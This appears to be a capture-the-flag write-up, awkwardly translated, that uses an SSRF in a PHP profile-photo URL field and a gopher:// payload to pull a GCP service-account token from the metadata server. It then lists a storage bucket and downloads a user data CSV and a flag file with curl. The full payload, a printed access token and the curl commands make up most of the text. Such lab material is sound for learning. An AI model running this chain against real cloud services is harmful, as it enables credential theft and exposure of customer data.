Exploiting SSRF with Gopher for GCP Initial Access

Gave an IPV4:35.226.245.121

Direct access is a web site

CTRL + U View source code found a buckethttps://storage.googleapis.com/gigantic-retail/shop/image4.jpg

Same as before, still no permissions

Click slowly to find a profile.php

Allows us to update various details and set a personal photo. And we are not asked to upload images, but we are asked to provide the URL path of the image. This looks like a potential SSRF (Server Side Request Forgery) vulnerability if the backend PHP code does not adequately validate user-supplied input.

Try to access internal servicesmetadata metadata interface: http://metadata.google.internal/computeMetadata/v1/project/project-id

Prompt no permission:

Because we lack customizationMetadata-Flavor:GoogleHTTP header information.

What happens if we include this header in the request we send to the server? That won't work because it needs to be set in a forced server request.

Think of us as PHP supportgopherWe can encapsulate HTTP requests in Gopher URLsgopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/[email protected]/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

Analyze this payload

1. Crafted Request:

Try it: Successfully obtained a file named[email protected]Custom service account for

Then add in the payload[email protected]/tokenWe will get the access token for the service account!gopher://metadata.google.internal:80/xGET%2520/computeMetadata/v1/instance/service-accounts/[email protected]/token%2520HTTP%252f%2531%252e%2531%250AHost:%2520metadata.google.internal%250AAccept:%2520%252a%252f%252a%250aMetadata-Flavor:%2520Google%250d%250a

We might think of using tokens in Google Cloud CLI (gcloud), butgcloudTypically rely on service account key files (JSON format) or user account credentials for authentication rather than access tokens. But we can setGOOGLE_ACCESS_TOKENenvironment variables and use cURL to make authenticated requests to GCP API endpoints
Use it to view bucket contents

export GOOGLE_ACCESS_TOKEN='ya29.c.c0ASRK0Gaay4gSAsLfeodu7gLpJkHrYnXd5jt
t5XL_x98KgMOyS6elnznIMkJ6DugGKAmwZ-DQxxsXhbi-THpY8M_3UCt3SRkg5I9Qyi1eLH7D7yTKhwoVicq4Yn_G-j8AbU9z-kkKxJdqLggbzBHU1CU6mUmvhihBx
a9cBBT9nkTUhWMOMFcAeeNa958WrrJGbcruuKdBs98tw-aWIRF7no6EzM7ZnIOGsFQb7gCLBNF7LDr-X8PSwBhf2RiUD4p4tD03SubTSASm8bGCzo7vK4V_iGP8H0H
VQEQkdm7jX5FSSstEoDOePcfOR4bzl8PhFRw-j2_9lx0pbZiyRxzGLrgiBTNZt_OmnoUG7dUQ-A15m2AbvLUOi2cVVgQ34QE391AJkxRYSreVr1fkxvgtOhVtReujW
tYIv3_eOZJawMMiFdhq1jagURf26vFZ1hR_a7Qxq4bFbB00qQyqadlbFZ6gxdOkq4fp7I7R__W-u98S_g4mY3sg0JMc6m3v1e8BB2ulWU3ajf09FlIJvX2QIQ8XXuw
Vc4Umqkgh4zur9g-8w_ZyQWt-k3acbyW2V719zeBsfc6dOX2_Xqbxng-z6y-m8xFgxui57ncQlYV5vpygn2qXkU3jZz52V4n4FucaexooRvsWSRdo5qVj_JhZBUU2M
WauZO24xZmp7f4FOr_3U8eZ-yaoWQfr_pBp7VZjJob291j_qdzXn8Iq0xY1Wv01FJ4cRkUYwjnXZWgoeemjwc-xVzeozxwkfj-ZIYh4m6O5MrI3_p-QmRoXuFfg0ug
wtZXacqYVniYWzFRIp6fhkfVIndkyqVpkWXz66uhiY8YZcZMQ2xaV1u3us-sRrjB6OdJhY-n-zgm3hVy9vtebFeUd0B0dl5BwrdnJZz-FYI44nOqBy-_fJu7arsvIU
qMqpe_BViFg53yc8hntsOr59w2cvsi-kuU1_dh7g3SB6dnBbu65l-i2gY8cVfYcQzr8o_WgVt3vg4JJ1Uosp_3SnWpgxn58Rmc'
root@None:~/veinmind-tools/plugins/go/veinmind-minio# curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o"
{
  "kind": "storage#objects",
  "items": [
    {
      "kind": "storage#object",
      "id": "gigantic-retail/images//1703694086172510",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2F",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2F?generation=1703694086172510&alt=media",
      "name": "images/",
      "bucket": "gigantic-retail",
      "generation": "1703694086172510",
      "metageneration": "1",
      "contentType": "text/plain",
      "storageClass": "STANDARD",
      "size": "0",
      "md5Hash": "1B2M2Y8AsgTpgAmY7PhCfg==",
      "crc32c": "AAAAAA==",
      "etag": "CN7ev4aDsIMDEAE=",
      "temporaryHold": false,
      "eventBasedHold": false,
      "timeCreated": "2023-12-27T16:21:26.216Z",
      "updated": "2023-12-27T16:21:26.216Z",
      "timeStorageClassUpdated": "2023-12-27T16:21:26.216Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/images/retail1.jpg/1703874774500023",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail1.jpg",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail1.jpg?generation=1703874774500023&alt=media",
      "name": "images/retail1.jpg",
      "bucket": "gigantic-retail",
      "generation": "1703874774500023",
      "metageneration": "2",
      "contentType": "image/jpeg",
      "storageClass": "STANDARD",
      "size": "4313677",
      "md5Hash": "ZOukVmKAkPpbH2PMqjfXUQ==",
      "crc32c": "rEzh6g==",
      "etag": "CLeFtJWktYMDEAI=",
      "timeCreated": "2023-12-29T18:32:54.538Z",
      "updated": "2023-12-29T18:33:07.537Z",
      "timeStorageClassUpdated": "2023-12-29T18:32:54.538Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/images/retail2.jpg/1703874772845638",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail2.jpg",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail2.jpg?generation=1703874772845638&alt=media",
      "name": "images/retail2.jpg",
      "bucket": "gigantic-retail",
      "generation": "1703874772845638",
      "metageneration": "2",
      "contentType": "image/jpeg",
      "storageClass": "STANDARD",
      "size": "2509625",
      "md5Hash": "ziETE5NFrKmmKSZNx5C8rg==",
      "crc32c": "XU/P4A==",
      "etag": "CMaIz5SktYMDEAI=",
      "timeCreated": "2023-12-29T18:32:52.883Z",
      "updated": "2023-12-29T18:33:19.568Z",
      "timeStorageClassUpdated": "2023-12-29T18:32:52.883Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/images/retail3.jpg/1703874772954271",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail3.jpg",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail3.jpg?generation=1703874772954271&alt=media",
      "name": "images/retail3.jpg",
      "bucket": "gigantic-retail",
      "generation": "1703874772954271",
      "metageneration": "2",
      "contentType": "image/jpeg",
      "storageClass": "STANDARD",
      "size": "4221422",
      "md5Hash": "MsNHVuKuyOBGjFibhZKD7A==",
      "crc32c": "3SYEaA==",
      "etag": "CJ/Z1ZSktYMDEAI=",
      "timeCreated": "2023-12-29T18:32:52.991Z",
      "updated": "2023-12-29T18:33:34.421Z",
      "timeStorageClassUpdated": "2023-12-29T18:32:52.991Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/images/retail4.jpg/1703874772744341",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/images%2Fretail4.jpg",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/images%2Fretail4.jpg?generation=1703874772744341&alt=media",
      "name": "images/retail4.jpg",
      "bucket": "gigantic-retail",
      "generation": "1703874772744341",
      "metageneration": "2",
      "contentType": "image/jpeg",
      "storageClass": "STANDARD",
      "size": "2569696",
      "md5Hash": "LOi120wE1+5N3JTnhmDIDA==",
      "crc32c": "XM5hQA==",
      "etag": "CJXxyJSktYMDEAI=",
      "timeCreated": "2023-12-29T18:32:52.783Z",
      "updated": "2023-12-29T18:33:47.191Z",
      "timeStorageClassUpdated": "2023-12-29T18:32:52.783Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/shop//1703694108672871",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2F",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2F?generation=1703694108672871&alt=media",
      "name": "shop/",
      "bucket": "gigantic-retail",
      "generation": "1703694108672871",
      "metageneration": "1",
      "contentType": "text/plain",
      "storageClass": "STANDARD",
      "size": "0",
      "md5Hash": "1B2M2Y8AsgTpgAmY7PhCfg==",
      "crc32c": "AAAAAA==",
      "etag": "COeGnZGDsIMDEAE=",
      "temporaryHold": false,
      "eventBasedHold": false,
      "timeCreated": "2023-12-27T16:21:48.717Z",
      "updated": "2023-12-27T16:21:48.717Z",
      "timeStorageClassUpdated": "2023-12-27T16:21:48.717Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/shop/image1.avif/1703873501183008",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage1.avif",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage1.avif?generation=1703873501183008&alt=media",
      "name": "shop/image1.avif",
      "bucket": "gigantic-retail",
      "generation": "1703873501183008",
      "metageneration": "1",
      "contentType": "image/avif",
      "storageClass": "STANDARD",
      "size": "21910",
      "md5Hash": "gONbx90L/f5UwjILBXQR8w==",
      "crc32c": "vGlDhw==",
      "etag": "CKD4nraftYMDEAE=",
      "timeCreated": "2023-12-29T18:11:41.223Z",
      "updated": "2023-12-29T18:11:41.223Z",
      "timeStorageClassUpdated": "2023-12-29T18:11:41.223Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/shop/image2.jpg/1703873529194025",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage2.jpg",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage2.jpg?generation=1703873529194025&alt=media",
      "name": "shop/image2.jpg",
      "bucket": "gigantic-retail",
      "generation": "1703873529194025",
      "metageneration": "1",
      "contentType": "image/jpeg",
      "storageClass": "STANDARD",
      "size": "49508",
      "md5Hash": "Lnxdkch/YFdVEzLbjs8GcQ==",
      "crc32c": "EAZ3yQ==",
      "etag": "CKnMzMOftYMDEAE=",
      "timeCreated": "2023-12-29T18:12:09.232Z",
      "updated": "2023-12-29T18:12:09.232Z",
      "timeStorageClassUpdated": "2023-12-29T18:12:09.232Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/shop/image3.webp/1703873572569343",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage3.webp",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage3.webp?generation=1703873572569343&alt=media",
      "name": "shop/image3.webp",
      "bucket": "gigantic-retail",
      "generation": "1703873572569343",
      "metageneration": "1",
      "contentType": "image/webp",
      "storageClass": "STANDARD",
      "size": "38096",
      "md5Hash": "+3UmgYL67/IYIa5xgFFAtA==",
      "crc32c": "ZFrdAA==",
      "etag": "CP+BpNiftYMDEAE=",
      "timeCreated": "2023-12-29T18:12:52.608Z",
      "updated": "2023-12-29T18:12:52.608Z",
      "timeStorageClassUpdated": "2023-12-29T18:12:52.608Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/shop/image4.jpg/1703878196790476",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage4.jpg",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage4.jpg?generation=1703878196790476&alt=media",
      "name": "shop/image4.jpg",
      "bucket": "gigantic-retail",
      "generation": "1703878196790476",
      "metageneration": "2",
      "contentType": "image/jpeg",
      "storageClass": "STANDARD",
      "size": "330459",
      "md5Hash": "TPRtwzdVkfMI5RI1EO7+Sg==",
      "crc32c": "aLT8Ow==",
      "etag": "CMyJpPWwtYMDEAI=",
      "timeCreated": "2023-12-29T19:29:56.829Z",
      "updated": "2023-12-29T19:30:15.131Z",
      "timeStorageClassUpdated": "2023-12-29T19:29:56.829Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/shop/image5.jpg/1703877954511133",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/shop%2Fimage5.jpg",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/shop%2Fimage5.jpg?generation=1703877954511133&alt=media",
      "name": "shop/image5.jpg",
      "bucket": "gigantic-retail",
      "generation": "1703877954511133",
      "metageneration": "2",
      "contentType": "image/jpeg",
      "storageClass": "STANDARD",
      "size": "104713",
      "md5Hash": "0+cCEhDEy22Q9SqoYlP1pg==",
      "crc32c": "imsC9g==",
      "etag": "CJ3C4IGwtYMDEAI=",
      "timeCreated": "2023-12-29T19:25:54.585Z",
      "updated": "2023-12-29T19:26:08.043Z",
      "timeStorageClassUpdated": "2023-12-29T19:25:54.585Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/userdata//1703771211799112",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2F",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2F?generation=1703771211799112&alt=media",
      "name": "userdata/",
      "bucket": "gigantic-retail",
      "generation": "1703771211799112",
      "metageneration": "1",
      "contentType": "text/plain",
      "storageClass": "STANDARD",
      "size": "0",
      "md5Hash": "1B2M2Y8AsgTpgAmY7PhCfg==",
      "crc32c": "AAAAAA==",
      "etag": "CMi07q6isoMDEAE=",
      "temporaryHold": false,
      "eventBasedHold": false,
      "timeCreated": "2023-12-28T13:46:51.848Z",
      "updated": "2023-12-28T13:46:51.848Z",
      "timeStorageClassUpdated": "2023-12-28T13:46:51.848Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/userdata/flag.txt/1703771329072518",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt?generation=1703771329072518&alt=media",
      "name": "userdata/flag.txt",
      "bucket": "gigantic-retail",
      "generation": "1703771329072518",
      "metageneration": "1",
      "contentType": "text/plain",
      "storageClass": "STANDARD",
      "size": "33",
      "md5Hash": "J+PDkjepBufLwKoiCflv2w==",
      "crc32c": "/H+7+Q==",
      "etag": "CIab5OaisoMDEAE=",
      "timeCreated": "2023-12-28T13:48:49.125Z",
      "updated": "2023-12-28T13:48:49.125Z",
      "timeStorageClassUpdated": "2023-12-28T13:48:49.125Z"
    },
    {
      "kind": "storage#object",
      "id": "gigantic-retail/userdata/user_data.csv/1703877006716190",
      "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv",
      "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media",
      "name": "userdata/user_data.csv",
      "bucket": "gigantic-retail",
      "generation": "1703877006716190",
      "metageneration": "1",
      "contentType": "text/csv",
      "storageClass": "STANDARD",
      "size": "2388",
      "md5Hash": "JMvLqhSoe2s9FX6JlXGmxw==",
      "crc32c": "2XJ9cA==",
      "etag": "CJ7a572stYMDEAE=",
      "timeCreated": "2023-12-29T19:10:06.754Z",
      "updated": "2023-12-29T19:10:06.754Z",
      "timeStorageClassUpdated": "2023-12-29T19:10:06.754Z"
    }
  ]
}
root@None:~/veinmind-tools/plugins/go/veinmind-minio#

Get picked upmediaLinkThe direct link to the download object provided by the field.https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media

curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media"

curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fuser_data.csv?generation=1703877006716190&alt=media"
Name,Address,PhoneNumber,Email,Job Title,Company
John Doe,123 Main St, Seattle, WA 98101,555-1234,[email protected],Software Engineer,Nova Software Solutions
Jane Smith,456 Oak Ave, Boston, MA 02110,555-5678,[email protected],Project Manager,Blue Bay Technologies
Bob Johnson,789 Pine Rd, Austin, TX 78701,555-9012,[email protected],Graphic Designer,Creative Edge Design
Alice Williams,101 Cedar Lane, Denver, CO 80202,555-3456,[email protected],HR Specialist,Peak Human Resources
Charlie Brown,202 Maple Blvd, Chicago, IL 60601,555-7890,[email protected],Marketing Director,Market Genius Inc.
Emily Davis,303 Elm Street, San Francisco, CA 94102,555-2345,[email protected],Financial Analyst,Zenith Finance
Michael Miller,404 Birch Lane, New York, NY 10001,555-6789,[email protected],IT Consultant,Tech Frontier
Olivia Wilson,505 Pinecrest Rd, Miami, FL 33101,555-0123,[email protected],Real Estate Agent,Sunshine Realty
David Taylor,606 Oakwood Ave, Philadelphia, PA 19106,555-4567,[email protected],Architect,Arco Partners
Sophia Anderson,707 Maple Court, Las Vegas, NV 89101,555-8901,[email protected],Sales Manager,Next Step Sales
Daniel Harris,808 Cedar Rd, Atlanta, GA 30301,555-2341,[email protected],Web Developer,Web World Development
Grace Thomas,909 Birch Blvd, Minneapolis, MN 55401,555-6785,[email protected],Clinical Researcher,Biogen Research Labs
Isaac Martinez,1010 Oak Lane, Portland, OR 97201,555-0129,[email protected],Teacher,EduWorld Schools
Ella Rodriguez,1111 Pine Ave, Dallas, TX 75201,555-4563,[email protected],Journalist,Media Vista
James Smith,1212 Cedar Street, Orlando, FL 32801,555-8907,[email protected],Attorney,Legal Pros LLP
Ava Johnson,1313 Elm Rd, Phoenix, AZ 85001,555-2349,[email protected],Interior Designer,Innovative Designs
Liam Davis,1414 Maple Lane, Raleigh, NC 27601,555-6783,[email protected],Chef,Gourmet Chef Culinary
Mia Wilson,1515 Pine Blvd, Cleveland, OH 44101,555-0127,[email protected],Pharmacist,Sigma Pharmacy
Noah Taylor,1616 Birch Ave, Nashville, TN 37201,555-4561,[email protected],Engineer,TrueTech Engineering
Sophie Brown,1717 Oakwood Rd, Kansas City, MO 64101,555-8905,[email protected],Fitness Trainer,FitNation

flag
curl -H "Authorization: Bearer $GOOGLE_ACCESS_TOKEN" "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt"

{
  "kind": "storage#object",
  "id": "gigantic-retail/userdata/flag.txt/1703771329072518",
  "selfLink": "https://www.googleapis.com/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt",
  "mediaLink": "https://www.googleapis.com/download/storage/v1/b/gigantic-retail/o/userdata%2Fflag.txt?generation=1703771329072518&alt=media",
  "name": "userdata/flag.txt",
  "bucket": "gigantic-retail",
  "generation": "1703771329072518",
  "metageneration": "1",
  "contentType": "text/plain",
  "storageClass": "STANDARD",
  "size": "33",
  "md5Hash": "J+PDkjepBufLwKoiCflv2w==",
  "crc32c": "/H+7+Q==",
  "etag": "CIab5OaisoMDEAE=",
  "timeCreated": "2023-12-28T13:48:49.125Z",
  "updated": "2023-12-28T13:48:49.125Z",
  "timeStorageClassUpdated": "2023-12-28T13:48:49.125Z"
}